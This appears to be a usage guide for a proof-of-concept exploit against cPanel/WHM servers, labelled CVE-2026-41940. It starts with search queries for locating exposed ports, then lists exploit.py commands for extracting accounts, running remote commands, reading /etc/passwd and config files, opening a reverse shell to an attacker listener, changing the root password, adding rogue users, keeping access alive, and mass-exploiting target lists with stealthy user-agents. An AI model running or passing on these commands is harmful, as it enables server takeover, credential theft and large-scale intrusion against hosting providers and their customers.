port:2087 "cPanel" "WHM"
port:2083 "cPanel"

# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-41940-POC-Exploit
cd CVE-2026-41940-POC-Exploit

# Install dependencies
pip3 install -r requirements.txt

# Run
python3 exploit.py -t https://example.com:2087

# Basic exploitation (extract accounts)
python3 exploit.py -t https://192.168.1.100:2087

# Save accounts to file
python3 exploit.py -t https://192.168.1.100:2087 -o accounts.txt

# Verbose mode (debug output)
python3 exploit.py -t https://192.168.1.100:2087 -v

# Interactive WHM Shell (Recommended)
python3 exploit.py -t https://192.168.1.100:2087 -i

[email protected] $ accounts          # List all cPanel accounts
[email protected] $ version           # Show cPanel version
[email protected] $ ls /home          # List directory
[email protected] $ cat /etc/passwd   # Read file
[email protected] $ exec id           # Execute command
[email protected] $ passwd NewPass123 # Change root password
[email protected] $ adduser test test.com pass123  # Create new user
[email protected] $ exit              # Exit shell

## 🔧 远程命令执行

```bash
# Execute single command
python3 exploit.py -t https://192.168.1.100:2087 --cmd "id"
python3 exploit.py -t https://192.168.1.100:2087 --cmd "cat /etc/passwd"
python3 exploit.py -t https://192.168.1.100:2087 --cmd "whoami; hostname; uname -a"


# Read file
python3 exploit.py -t https://192.168.1.100:2087 --read /etc/passwd
python3 exploit.py -t https://192.168.1.100:2087 --read /home/example/config.php

# Attacker machine (listener)
nc -lvnp 4444

# Exploit (reverse shell)
python3 exploit.py -t https://192.168.1.100:2087 --reverse-shell 10.0.0.1:4444

# Change root password
python3 exploit.py -t https://192.168.1.100:2087 --passwd "NewRootPass123!"

# Create new cPanel user
python3 exploit.py -t https://192.168.1.100:2087 --adduser hacker hacker.com Pass1234

# Keep-alive session (maintain access)
python3 exploit.py -t https://192.168.1.100:2087 --no-keep-alive  # Disable auto keep-alive

# Create targets file
echo "https://target1.com:2087" > targets.txt
echo "https://target2.com:2087" >> targets.txt
echo "https://10.0.0.5:2087" >> targets.txt

# Mass exploit with 20 threads
python3 exploit.py -l targets.txt --threads 20

# Mass exploit with command execution
python3 exploit.py -l targets.txt --threads 10 --cmd "id"

# Custom port (non-standard)
python3 exploit.py -t https://example.com -p 8443

# Using proxy
python3 exploit.py -t https://192.168.1.100:2087 --proxy http://127.0.0.1:8080

# Custom user-agent for stealth
python3 exploit.py -t https://192.168.1.100:2087 -ua "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

# Custom delay and retries
python3 exploit.py -t https://192.168.1.100:2087 --delay 5 --max-retries 5

# SSL verification (ignore self-signed by default)
python3 exploit.py -t https://192.168.1.100:2087 --ssl-verify